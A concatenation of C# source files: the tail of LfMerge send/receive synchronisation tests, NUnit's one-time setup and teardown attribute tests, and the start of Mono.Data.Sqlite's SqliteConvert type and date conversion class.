Assert.That(_env.Logger.GetErrors(), Is.Null.Or.Empty);
Assert.That(_env.Logger.GetMessages(), Does.Contain("Received changes from others"));
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.SYNCING));
}
[Test]
public void Success_NewBranchFormat_LfMerge70()
{
// Setup
var ldDirectory = CopyModifiedProjectAsTestLangProj(_lDSettings.WebWorkDirectory);
TestEnvironment.CopyFwProjectTo(TestLangProj, _env.Settings.WebWorkDirectory);
TestEnvironment.WriteTextFile(Path.Combine(_env.Settings.WebWorkDirectory, TestLangProj, "FLExProject.ModelVersion"), "{\"modelversion\": 7000070}");
LanguageDepotMock.Server.Start();
var oldHashOfLd = MercurialTestHelper.GetRevisionOfTip(ldDirectory);
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
Assert.That(MercurialTestHelper.GetRevisionOfWorkingSet(_lfProject.ProjectDir),
Is.EqualTo(MercurialTestHelper.GetRevisionOfTip(ldDirectory)),
"Our repo doesn't have the changes from LanguageDepot");
// Assert.That(MercurialTestHelper.GetRevisionOfTip(ldDirectory), Is.EqualTo(oldHashOfLd));
Assert.That(_env.Logger.GetErrors(), Is.Null.Or.Empty);
Assert.That(_env.Logger.GetMessages(), Does.Contain("Received changes from others"));
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.SYNCING));
}
[Test]
[Ignore("Temporarily disabled - needs updated test data")]
public void Success_NoNewChangesFromOthersAndUs()
{
// Setup
TestEnvironment.CopyFwProjectTo(TestLangProj, _lDSettings.WebWorkDirectory);
TestEnvironment.CopyFwProjectTo(TestLangProj, _env.Settings.WebWorkDirectory);
LanguageDepotMock.Server.Start();
var ldDirectory = Path.Combine(_lDSettings.WebWorkDirectory, TestLangProj);
var oldHashOfLd = MercurialTestHelper.GetRevisionOfTip(ldDirectory);
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
Assert.That(MercurialTestHelper.GetRevisionOfTip(ldDirectory), Is.EqualTo(oldHashOfLd));
Assert.That(MercurialTestHelper.GetRevisionOfWorkingSet(_lfProject.ProjectDir),
Is.EqualTo(oldHashOfLd));
Assert.That(_env.Logger.GetErrors(), Is.Null.Or.Empty);
Assert.That(_env.Logger.GetMessages(), Does.Contain("No changes from others"));
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.SYNCING));
}
[Test]
[Ignore("Temporarily disabled - needs updated test data")]
public void Success_ChangesFromOthersNoChangesFromUs()
{
// Setup
var ldDirectory = CopyModifiedProjectAsTestLangProj(_lDSettings.WebWorkDirectory);
TestEnvironment.CopyFwProjectTo(TestLangProj, _env.Settings.WebWorkDirectory);
LanguageDepotMock.Server.Start();
var oldHashOfLd = MercurialTestHelper.GetRevisionOfTip(ldDirectory);
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
Assert.That(MercurialTestHelper.GetRevisionOfWorkingSet(_lfProject.ProjectDir),
Is.EqualTo(MercurialTestHelper.GetRevisionOfTip(ldDirectory)),
"Our repo doesn't have the changes from LanguageDepot");
Assert.That(MercurialTestHelper.GetRevisionOfTip(ldDirectory), Is.EqualTo(oldHashOfLd));
Assert.That(_env.Logger.GetErrors(), Is.Null.Or.Empty);
Assert.That(_env.Logger.GetMessages(), Does.Contain("Received changes from others"));
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.SYNCING));
}
[Test]
[Ignore("Temporarily disabled - needs updated test data")]
public void Success_ChangesFromUsNoChangesFromOthers()
{
// Setup
CopyModifiedProjectAsTestLangProj(_env.Settings.WebWorkDirectory);
TestEnvironment.CopyFwProjectTo(TestLangProj, _lDSettings.WebWorkDirectory);
LanguageDepotMock.Server.Start();
var oldHashOfUs = MercurialTestHelper.GetRevisionOfWorkingSet(_lfProject.ProjectDir);
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
Assert.That(MercurialTestHelper.GetRevisionOfWorkingSet(_lfProject.ProjectDir),
Is.EqualTo(oldHashOfUs));
Assert.That(MercurialTestHelper.GetRevisionOfTip(
Path.Combine(_lDSettings.WebWorkDirectory, TestLangProj)),
Is.EqualTo(oldHashOfUs), "LanguageDepot doesn't have our changes");
Assert.That(_env.Logger.GetErrors(), Is.Null.Or.Empty);
Assert.That(_env.Logger.GetMessages(), Does.Contain("No changes from others"));
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.SYNCING));
}
}
}
| |
// ***********************************************************************
// Copyright (c) 2007 Charlie Poole
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
// ***********************************************************************
using System;
#if !NETCF
using System.Security.Principal;
#endif
using System.Threading;
using NUnit.Framework.Interfaces;
using NUnit.Framework.Internal;
using NUnit.Framework.Internal.Builders;
using NUnit.TestData.OneTimeSetUpTearDownData;
using NUnit.TestUtilities;
namespace NUnit.Framework.Attributes
{
[TestFixture]
public class OneTimeSetupTearDownTest
{
[Test]
public void MakeSureSetUpAndTearDownAreCalled()
{
SetUpAndTearDownFixture fixture = new SetUpAndTearDownFixture();
TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(1, fixture.setUpCount, "SetUp");
Assert.AreEqual(1, fixture.tearDownCount, "TearDown");
}
[Test]
public void MakeSureSetUpAndTearDownAreNotCalledOnExplicitFixture()
{
ExplicitSetUpAndTearDownFixture fixture = new ExplicitSetUpAndTearDownFixture();
TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(0, fixture.setUpCount, "SetUp");
Assert.AreEqual(0, fixture.tearDownCount, "TearDown");
}
[Test]
public void CheckInheritedSetUpAndTearDownAreCalled()
{
InheritSetUpAndTearDown fixture = new InheritSetUpAndTearDown();
TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(1, fixture.setUpCount);
Assert.AreEqual(1, fixture.tearDownCount);
}
[Test]
public static void StaticSetUpAndTearDownAreCalled()
{
StaticSetUpAndTearDownFixture.setUpCount = 0;
StaticSetUpAndTearDownFixture.tearDownCount = 0;
TestBuilder.RunTestFixture(typeof(StaticSetUpAndTearDownFixture));
Assert.AreEqual(1, StaticSetUpAndTearDownFixture.setUpCount);
Assert.AreEqual(1, StaticSetUpAndTearDownFixture.tearDownCount);
}
[Test]
public static void StaticClassSetUpAndTearDownAreCalled()
{
StaticClassSetUpAndTearDownFixture.setUpCount = 0;
StaticClassSetUpAndTearDownFixture.tearDownCount = 0;
TestBuilder.RunTestFixture(typeof(StaticClassSetUpAndTearDownFixture));
Assert.AreEqual(1, StaticClassSetUpAndTearDownFixture.setUpCount);
Assert.AreEqual(1, StaticClassSetUpAndTearDownFixture.tearDownCount);
}
[Test]
public void OverriddenSetUpAndTearDownAreNotCalled()
{
OverrideSetUpAndTearDown fixture = new OverrideSetUpAndTearDown();
TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(0, fixture.setUpCount);
Assert.AreEqual(0, fixture.tearDownCount);
Assert.AreEqual(1, fixture.derivedSetUpCount);
Assert.AreEqual(1, fixture.derivedTearDownCount);
}
[Test]
public void BaseSetUpCalledFirstAndTearDownCalledLast()
{
DerivedSetUpAndTearDownFixture fixture = new DerivedSetUpAndTearDownFixture();
TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(1, fixture.setUpCount);
Assert.AreEqual(1, fixture.tearDownCount);
Assert.AreEqual(1, fixture.derivedSetUpCount);
Assert.AreEqual(1, fixture.derivedTearDownCount);
Assert.That(fixture.baseSetUpCalledFirst, "Base SetUp called first");
Assert.That(fixture.baseTearDownCalledLast, "Base TearDown called last");
}
[Test]
public void FailedBaseSetUpCausesDerivedSetUpAndTeardownToBeSkipped()
{
DerivedSetUpAndTearDownFixture fixture = new DerivedSetUpAndTearDownFixture();
fixture.throwInBaseSetUp = true;
TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(1, fixture.setUpCount);
Assert.AreEqual(1, fixture.tearDownCount);
Assert.AreEqual(0, fixture.derivedSetUpCount);
Assert.AreEqual(0, fixture.derivedTearDownCount);
}
[Test]
public void StaticBaseSetUpCalledFirstAndTearDownCalledLast()
{
StaticSetUpAndTearDownFixture.setUpCount = 0;
StaticSetUpAndTearDownFixture.tearDownCount = 0;
DerivedStaticSetUpAndTearDownFixture.derivedSetUpCount = 0;
DerivedStaticSetUpAndTearDownFixture.derivedTearDownCount = 0;
DerivedStaticSetUpAndTearDownFixture fixture = new DerivedStaticSetUpAndTearDownFixture();
TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(1, DerivedStaticSetUpAndTearDownFixture.setUpCount);
Assert.AreEqual(1, DerivedStaticSetUpAndTearDownFixture.tearDownCount);
Assert.AreEqual(1, DerivedStaticSetUpAndTearDownFixture.derivedSetUpCount);
Assert.AreEqual(1, DerivedStaticSetUpAndTearDownFixture.derivedTearDownCount);
Assert.That(DerivedStaticSetUpAndTearDownFixture.baseSetUpCalledFirst, "Base SetUp called first");
Assert.That(DerivedStaticSetUpAndTearDownFixture.baseTearDownCalledLast, "Base TearDown called last");
}
[Test]
public void HandleErrorInFixtureSetup()
{
MisbehavingFixture fixture = new MisbehavingFixture();
fixture.blowUpInSetUp = true;
ITestResult result = TestBuilder.RunTestFixture(fixture);
Assert.AreEqual( 1, fixture.setUpCount, "setUpCount" );
Assert.AreEqual( 1, fixture.tearDownCount, "tearDownCount" );
Assert.AreEqual(ResultState.SetUpError, result.ResultState);
Assert.AreEqual("System.Exception : This was thrown from fixture setup", result.Message, "TestSuite Message");
Assert.IsNotNull(result.StackTrace, "TestSuite StackTrace should not be null");
Assert.AreEqual(1, result.Children.Count, "Child result count");
Assert.AreEqual(1, result.FailCount, "Failure count");
}
[Test]
public void RerunFixtureAfterSetUpFixed()
{
MisbehavingFixture fixture = new MisbehavingFixture();
fixture.blowUpInSetUp = true;
ITestResult result = TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(ResultState.SetUpError, result.ResultState);
//fix the blow up in setup
fixture.Reinitialize();
result = TestBuilder.RunTestFixture(fixture);
Assert.AreEqual( 1, fixture.setUpCount, "setUpCount" );
Assert.AreEqual( 1, fixture.tearDownCount, "tearDownCount" );
Assert.AreEqual(ResultState.Success, result.ResultState);
}
[Test]
public void HandleIgnoreInFixtureSetup()
{
IgnoreInFixtureSetUp fixture = new IgnoreInFixtureSetUp();
ITestResult result = TestBuilder.RunTestFixture(fixture);
// should have one suite and one fixture
Assert.AreEqual(ResultState.Ignored.WithSite(FailureSite.SetUp), result.ResultState, "Suite should be ignored");
Assert.AreEqual("TestFixtureSetUp called Ignore", result.Message);
Assert.IsNotNull(result.StackTrace, "StackTrace should not be null");
Assert.AreEqual(1, result.Children.Count, "Child result count");
Assert.AreEqual(1, result.SkipCount, "SkipCount");
}
[Test]
public void HandleErrorInFixtureTearDown()
{
MisbehavingFixture fixture = new MisbehavingFixture();
fixture.blowUpInTearDown = true;
ITestResult result = TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(1, result.Children.Count);
Assert.AreEqual(ResultState.TearDownError, result.ResultState);
Assert.AreEqual(1, fixture.setUpCount, "setUpCount");
Assert.AreEqual(1, fixture.tearDownCount, "tearDownCount");
Assert.AreEqual("TearDown : System.Exception : This was thrown from fixture teardown", result.Message);
Assert.That(result.StackTrace, Does.Contain("--TearDown"));
}
[Test]
public void HandleErrorInFixtureTearDownAfterErrorInTest()
{
MisbehavingFixture fixture = new MisbehavingFixture();
fixture.blowUpInTest = true;
fixture.blowUpInTearDown = true;
ITestResult result = TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(1, result.Children.Count);
Assert.AreEqual(ResultState.TearDownError, result.ResultState);
Assert.AreEqual(1, fixture.setUpCount, "setUpCount");
Assert.AreEqual(1, fixture.tearDownCount, "tearDownCount");
Assert.AreEqual(TestResult.CHILD_ERRORS_MESSAGE + Env.NewLine + "TearDown : System.Exception : This was thrown from fixture teardown", result.Message);
Assert.That(result.ResultState.Site, Is.EqualTo(FailureSite.TearDown));
Assert.That(result.StackTrace, Does.Contain("--TearDown"));
}
[Test]
public void HandleErrorInFixtureTearDownAfterErrorInFixtureSetUp()
{
MisbehavingFixture fixture = new MisbehavingFixture();
fixture.blowUpInSetUp = true;
fixture.blowUpInTearDown = true;
ITestResult result = TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(1, result.Children.Count);
Assert.AreEqual(ResultState.TearDownError, result.ResultState);
Assert.AreEqual(1, fixture.setUpCount, "setUpCount");
Assert.AreEqual(1, fixture.tearDownCount, "tearDownCount");
Assert.AreEqual("System.Exception : This was thrown from fixture setup" + Env.NewLine +
"TearDown : System.Exception : This was thrown from fixture teardown", result.Message);
Assert.That(result.StackTrace, Does.Contain("--TearDown"));
}
[Test]
public void HandleExceptionInFixtureConstructor()
{
ITestResult result = TestBuilder.RunTestFixture( typeof( ExceptionInConstructor ) );
Assert.AreEqual(ResultState.SetUpError, result.ResultState);
Assert.AreEqual("System.Exception : This was thrown in constructor", result.Message, "TestSuite Message");
Assert.IsNotNull(result.StackTrace, "TestSuite StackTrace should not be null");
Assert.AreEqual(1, result.Children.Count, "Child result count");
Assert.AreEqual(1, result.FailCount, "Failure count");
}
[Test]
public void RerunFixtureAfterTearDownFixed()
{
MisbehavingFixture fixture = new MisbehavingFixture();
fixture.blowUpInTearDown = true;
ITestResult result = TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(1, result.Children.Count);
fixture.Reinitialize();
result = TestBuilder.RunTestFixture(fixture);
Assert.AreEqual( 1, fixture.setUpCount, "setUpCount" );
Assert.AreEqual( 1, fixture.tearDownCount, "tearDownCount" );
}
[Test]
public void HandleSetUpAndTearDownWithTestInName()
{
SetUpAndTearDownWithTestInName fixture = new SetUpAndTearDownWithTestInName();
TestBuilder.RunTestFixture(fixture);
Assert.AreEqual(1, fixture.setUpCount);
Assert.AreEqual(1, fixture.tearDownCount);
}
//[Test]
//public void RunningSingleMethodCallsSetUpAndTearDown()
//{
// SetUpAndTearDownFixture fixture = new SetUpAndTearDownFixture();
// TestSuite suite = TestBuilder.MakeFixture(fixture.GetType());
// suite.Fixture = fixture;
// Test test = (Test)suite.Tests[0];
// suite.Run(TestListener.NULL, new NameFilter(test.TestName));
// Assert.AreEqual(1, fixture.setUpCount);
// Assert.AreEqual(1, fixture.tearDownCount);
//}
[Test]
public void IgnoredFixtureShouldNotCallFixtureSetUpOrTearDown()
{
IgnoredFixture fixture = new IgnoredFixture();
TestSuite suite = new TestSuite("IgnoredFixtureSuite");
TestSuite fixtureSuite = TestBuilder.MakeFixture( fixture.GetType() );
TestMethod testMethod = (TestMethod)fixtureSuite.Tests[0];
suite.Add( fixtureSuite );
TestBuilder.RunTestSuite(fixtureSuite, fixture);
Assert.IsFalse( fixture.setupCalled, "TestFixtureSetUp called running fixture" );
Assert.IsFalse( fixture.teardownCalled, "TestFixtureTearDown called running fixture" );
TestBuilder.RunTestSuite(suite, fixture);
Assert.IsFalse( fixture.setupCalled, "TestFixtureSetUp called running enclosing suite" );
Assert.IsFalse( fixture.teardownCalled, "TestFixtureTearDown called running enclosing suite" );
TestBuilder.RunTest(testMethod, fixture);
Assert.IsFalse( fixture.setupCalled, "TestFixtureSetUp called running a test case" );
Assert.IsFalse( fixture.teardownCalled, "TestFixtureTearDown called running a test case" );
}
[Test]
public void FixtureWithNoTestsShouldNotCallFixtureSetUpOrTearDown()
{
FixtureWithNoTests fixture = new FixtureWithNoTests();
TestBuilder.RunTestFixture(fixture);
Assert.That( fixture.setupCalled, Is.False, "OneTimeSetUp should not be called for a fixture with no tests" );
Assert.That( fixture.teardownCalled, Is.False, "OneTimeTearDown should not be called for a fixture with no tests" );
}
[Test]
public void DisposeCalledWhenFixtureImplementsIDisposable()
{
DisposableFixture fixture = new DisposableFixture();
TestBuilder.RunTestFixture(fixture);
Assert.IsTrue(fixture.disposeCalled);
}
}
#if !SILVERLIGHT && !NETCF && !PORTABLE
[TestFixture]
class ChangesMadeInFixtureSetUp
{
[OneTimeSetUp]
public void OneTimeSetUp()
{
// TODO: This test requires fixture setup and all tests to run on same thread
GenericIdentity identity = new GenericIdentity("foo");
Thread.CurrentPrincipal = new GenericPrincipal(identity, new string[0]);
System.Globalization.CultureInfo culture = new System.Globalization.CultureInfo("en-GB");
Thread.CurrentThread.CurrentCulture = culture;
Thread.CurrentThread.CurrentUICulture = culture;
}
[Test]
public void TestThatChangesPersistUsingSameThread()
{
Assert.AreEqual("foo", Thread.CurrentPrincipal.Identity.Name);
Assert.AreEqual("en-GB", Thread.CurrentThread.CurrentCulture.Name);
Assert.AreEqual("en-GB", Thread.CurrentThread.CurrentUICulture.Name);
}
[Test, RequiresThread]
public void TestThatChangesPersistUsingSeparateThread()
{
Assert.AreEqual("foo", Thread.CurrentPrincipal.Identity.Name);
Assert.AreEqual("en-GB", Thread.CurrentThread.CurrentCulture.Name, "#CurrentCulture");
Assert.AreEqual("en-GB", Thread.CurrentThread.CurrentUICulture.Name, "#CurrentUICulture");
}
}
#endif
}
| |
//
// Mono.Data.Sqlite.SQLiteConvert.cs
//
// Author(s):
// Robert Simpson (robert@blackcastlesoft.com)
//
// Adapted and modified for the Mono Project by
// Marek Habersack (grendello@gmail.com)
//
//
// Copyright (C) 2006 Novell, Inc (http://www.novell.com)
// Copyright (C) 2007 Marek Habersack
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
/********************************************************
* ADO.NET 2.0 Data Provider for Sqlite Version 3.X
* Written by Robert Simpson (robert@blackcastlesoft.com)
*
* Released to the public domain, use at your own risk!
********************************************************/
#if NET_2_0
namespace Mono.Data.Sqlite
{
using System;
using System.Data;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.ComponentModel;
using System.Globalization;
using System.Text;
#if !PLATFORM_COMPACTFRAMEWORK
using System.ComponentModel.Design;
#endif
/// <summary>
/// Sqlite has very limited types, and is inherently text-based. The first 5 types below represent the sum of all types Sqlite
/// understands. The DateTime extension to the spec is for internal use only.
/// </summary>
public enum TypeAffinity
{
/// <summary>
/// Not used
/// </summary>
Uninitialized = 0,
/// <summary>
/// All integers in Sqlite default to Int64
/// </summary>
Int64 = 1,
/// <summary>
/// All floating point numbers in Sqlite default to double
/// </summary>
Double = 2,
/// <summary>
/// The default data type of Sqlite is text
/// </summary>
Text = 3,
/// <summary>
/// Typically blob types are only seen when returned from a function
/// </summary>
Blob = 4,
/// <summary>
/// Null types can be returned from functions
/// </summary>
Null = 5,
/// <summary>
/// Used internally by this provider
/// </summary>
DateTime = 10,
/// <summary>
/// Used internally
/// </summary>
None = 11,
}
/// <summary>
/// This implementation of Sqlite for ADO.NET can process date/time fields in databases in only one of two formats. Ticks and ISO8601.
/// Ticks is inherently more accurate, but less compatible with 3rd party tools that query the database, and renders the DateTime field
/// unreadable without post-processing.
/// ISO8601 is more compatible, readable, fully-processable, but less accurate as it doesn't provide time down to fractions of a second.
/// </summary>
public enum SqliteDateFormats
{
/// <summary>
/// Using ticks is more accurate but less compatible with other viewers and utilities that access your database.
/// </summary>
Ticks = 0,
/// <summary>
/// The default format for this provider.
/// </summary>
ISO8601 = 1,
}
/// <summary>
/// Struct used internally to determine the datatype of a column in a resultset
/// </summary>
internal class SqliteType
{
/// <summary>
/// The DbType of the column, or DbType.Object if it cannot be determined
/// </summary>
internal DbType Type;
/// <summary>
/// The affinity of a column, used for expressions or when Type is DbType.Object
/// </summary>
internal TypeAffinity Affinity;
}
/// <summary>
/// This base class provides datatype conversion services for the Sqlite provider.
/// </summary>
public abstract class SqliteConvert
{
/// <summary>
/// An array of ISO8601 datetime formats we support conversion from
/// </summary>
private static string[] _datetimeFormats = new string[] {
"yyyy-MM-dd HH:mm:ss.fffffff",
"yyyy-MM-dd HH:mm:ss",
"yyyy-MM-dd HH:mm",
"yyyyMMddHHmmss",
"yyyyMMddHHmm",
"yyyyMMddTHHmmssfffffff",
"yyyy-MM-dd",
"yy-MM-dd",
"yyyyMMdd",
"HH:mm:ss",
"HH:mm",
"THHmmss",
"THHmm",
"yyyy-MM-dd HH:mm:ss.fff",
"yyyy-MM-ddTHH:mm",
"yyyy-MM-ddTHH:mm:ss",
"yyyy-MM-ddTHH:mm:ss.fff",
"yyyy-MM-ddTHH:mm:ss.ffffff",
"HH:mm:ss.fff"
};
/// <summary>
/// An UTF-8 Encoding instance, so we can convert strings to and from UTF-8
/// </summary>
private Encoding _utf8 = new UTF8Encoding();
/// <summary>
/// The default DateTime format for this instance
/// </summary>
internal SqliteDateFormats _datetimeFormat;
/// <summary>
/// Initializes the conversion class
/// </summary>
/// <param name="fmt">The default date/time format to use for this instance</param>
internal SqliteConvert(SqliteDateFormats fmt)
{
_datetimeFormat = fmt;
}
#region UTF-8 Conversion Functions
/// <summary>
/// Converts a string to a UTF-8 encoded byte array sized to include a null-terminating character.
/// </summary>
/// <param name="sourceText">The string to convert to UTF-8</param>
/// <returns>A byte array containing the converted string plus an extra 0 terminating byte at the end of the array.</returns>
public byte[] ToUTF8(string sourceText)
{
Byte[] byteArray;
int nlen = _utf8.GetByteCount(sourceText) + 1;
byteArray = new byte[nlen];
nlen = _utf8.GetBytes(sourceText, 0, sourceText.Length, byteArray, 0);
byteArray[nlen] = 0;
return byteArray;
}
/// <summary>
/// Convert a DateTime to a UTF-8 encoded, zero-terminated byte array.
/// </summary>
/// <remarks>
/// This function is a convenience function, which first calls ToString() on the DateTime, and then calls ToUTF8() with the
/// string result.
/// </remarks>
/// <param name="dateTimeValue">The DateTime to convert.</param>
/// <returns>The UTF-8 encoded string, including a 0 terminating byte at the end of the array.</returns>
public byte[] ToUTF8(DateTime dateTimeValue)
{
return ToUTF8(ToString(dateTimeValue));
}
/// <summary>
/// Converts a UTF-8 encoded IntPtr of the specified length into a .NET string
/// </summary>
/// <param name="nativestring">The pointer to the memory where the UTF-8 string is encoded</param>
/// <param name="nativestringlen">The number of bytes to decode</param>
/// <returns>A string containing the translated character(s)</returns>
public virtual string ToString(IntPtr nativestring)
{
return UTF8ToString(nativestring);
}
/// <summary>
/// Converts a UTF-8 encoded IntPtr of the specified length into a .NET string
/// </summary>
/// <param name="nativestring">The pointer to the memory where the UTF-8 string is encoded</param>
/// <param name="nativestringlen">The number of bytes to decode</param>
/// <returns>A string containing the translated character(s)</returns>
public virtual string UTF8ToString(IntPtr nativestring)
{
if (nativestring == IntPtr.Zero)
return null;
// This assumes a single byte terminates the string.
int len = 0;
while (Marshal.ReadByte (nativestring, len) != 0)
checked {++len;}
unsafe {
string s = new string ((sbyte*) nativestring, 0, len, _utf8);
len = s.Length;
while (len > 0 && s [len-1] == 0)
--len;
if (len == s.Length)
return s;
return s.Substring (0, len);
}
}
#endregion
#region DateTime Conversion Functions
/// <summary>
/// Converts a string into a DateTime, using the current DateTimeFormat specified for the connection when it was opened.
/// </summary>
/// <remarks>
/// Acceptable ISO8601 DateTime formats are:
/// yyyy-MM-dd HH:mm:ss
/// yyyyMMddHHmmss
/// yyyyMMddTHHmmssfffffff
/// yyyy-MM-dd
/// yy-MM-dd
/// yyyyMMdd
/// HH:mm:ss
/// THHmmss
/// </remarks>
/// <param name="dateText">The string containing either a Tick value or an ISO8601-format string</param>
/// <returns>A DateTime value</returns>
public DateTime ToDateTime(string dateText)
{
switch (_datetimeFormat)
{
case SqliteDateFormats.Ticks:
return new DateTime(Convert.ToInt64(dateText, CultureInfo.InvariantCulture));
default:
return DateTime.ParseExact(dateText, _datetimeFormats, DateTimeFormatInfo.InvariantInfo, DateTimeStyles.None);
}
}
/// <summary>
/// Converts a DateTime to a string value, using the current DateTimeFormat specified for the connection when it was opened.
/// </summary>
/// <param name="dateValue">The DateTime value to convert</param>
/// <returns>Either a string consisting of the tick count for DateTimeFormat.Ticks, or a date/time in ISO8601 format.</returns>
public string ToString(DateTime dateValue)
{
switch (_datetimeFormat)
{
case SqliteDateFormats.Ticks:
return dateValue.Ticks.ToString(CultureInfo.InvariantCulture);
default:
return dateValue.ToString(_datetimeFormats[0], CultureInfo.InvariantCulture);
}
}
/// <summary>
/// Internal function to convert a UTF-8 encoded IntPtr of the specified length to a DateTime.
/// </summary>
/// <remarks>
/// This is a convenience function, which first calls ToString() on the IntPtr to convert it to a string, then calls
/// ToDateTime() on the string to return a DateTime.
/// </remarks>
/// <param name="ptr">A pointer to the UTF-8 encoded string</param>
/// <param name="len">The length in bytes of the string</param>
/// <returns>The parsed DateTime value</returns>
internal DateTime ToDateTime(IntPtr ptr)
{
return ToDateTime(ToString(ptr));
}
#endregion
/// <summary>
/// Smart method of splitting a string. Skips quoted elements, removes the quotes.
/// </summary>
/// <remarks>
/// This split function works somewhat like the String.Split() function in that it breaks apart a string into
/// pieces and returns the pieces as an array. The primary differences are:
/// <list type="bullet">
/// <item><description>Only one character can be provided as a separator character</description></item>
/// <item><description>Quoted text inside the string is skipped over when searching for the separator, and the quotes are removed.</description></item>
/// </list>
/// Thus, if splitting the following string looking for a comma:<br/>
/// One,Two, "Three, Four", Five<br/>
/// <br/>
/// The resulting array would contain<br/>
/// [0] One<br/>
/// [1] Two<br/>
/// [2] Three, Four<br/>
/// [3] Five<br/>
/// <br/>
/// Note that the leading and trailing spaces were removed from each item during the split.
/// </remarks>
/// <param name="source">Source string to split apart</param>
/// <param name="separator">Separator character</param>
/// <returns>A string array of the split up elements</returns>
public static string[] Split(string source, char separator)
{
char[] toks = new char[2] { '\"', separator };
char[] quot = new char[1] { '\"' };
int n = 0;
List<string> ls = new List<string>();
string s;
while (source.Length > 0)
{
n = source.IndexOfAny(toks, n);
if (n == -1) break;
if (source[n] == toks[0])
{
source = source.Remove(n, 1);
n = source.IndexOfAny(quot, n);
if (n == -1)
{
source = "\"" + source;
break;
}
source = source.Remove(n, 1);
}
else
{
s = source.Substring(0, n).Trim();
source = source.Substring(n + 1).Trim();
if (s.Length > 0) ls.Add(s);
n = 0;
}
}
if (source.Length > 0) ls.Add(source);
string[] ar = new string[ls.Count];
ls.CopyTo(ar, 0);
return ar;
}
#region Type Conversions
/// <summary>
/// Determines the data type of a column in a statement
/// </summary>
/// <param name="stmt">The statement to retrieve information for</param>
/// <param name="i">The column to retrieve type information on</param>
/// <returns>Returns a SqliteType struct</returns>
internal static SqliteType ColumnToType(SqliteStatement stmt, int i)
{
SqliteType typ = new SqliteType ();
typ.Type = TypeNameToDbType(stmt._sql.ColumnType(stmt, i, out typ.Affinity));
return typ;
}
/// <summary>
/// Converts a SqliteType to a .NET Type object
/// </summary>
/// <param name="t">The SqliteType to convert</param>
/// <returns>Returns a .NET Type object</returns>
internal static Type SqliteTypeToType(SqliteType t)
{
if (t.Type != DbType.Object)
return SqliteConvert.DbTypeToType(t.Type);
return _typeaffinities[(int)t.Affinity];
}
static Type[] _typeaffinities = {
null,
typeof(Int64),
typeof(Double),
typeof(string),
typeof(byte[]),
typeof(DBNull),
null,
null,
null,
null,
typeof(DateTime),
null,
};
/// <summary>
/// For a given intrinsic type, return a DbType
/// </summary>
/// <param name="typ">The native type to convert</param>
/// <returns>The corresponding (closest match) DbType</returns>
internal static DbType TypeToDbType(Type typ)
{
TypeCode tc = Type.GetTypeCode(typ);
if (tc == TypeCode.Object)
{
if (typ == typeof(byte[])) return DbType.Binary;
if (typ == typeof(Guid)) return DbType.Guid;
return DbType.String;
}
return _typetodbtype[(int)tc];
}
private static DbType[] _typetodbtype = {
DbType.Object,
DbType.Binary,
DbType.Object,
DbType.Boolean,
DbType.SByte,
DbType.SByte,
DbType.Byte,
DbType.Int16, // 7
DbType.UInt16,
DbType.Int32,
DbType.UInt32,
DbType.Int64, // 11
DbType.UInt64,
DbType.Single,
DbType.Double,
DbType.Decimal,
DbType.DateTime,
DbType.Object,
DbType.String,
};
/// <summary>
/// Returns the ColumnSize for the given DbType
/// </summary>
/// <param name="typ">The DbType to get the size of</param>
/// <returns></returns>
internal static int DbTypeToColumnSize(DbType typ)
{
return _dbtypetocolumnsize[(int)typ];
}
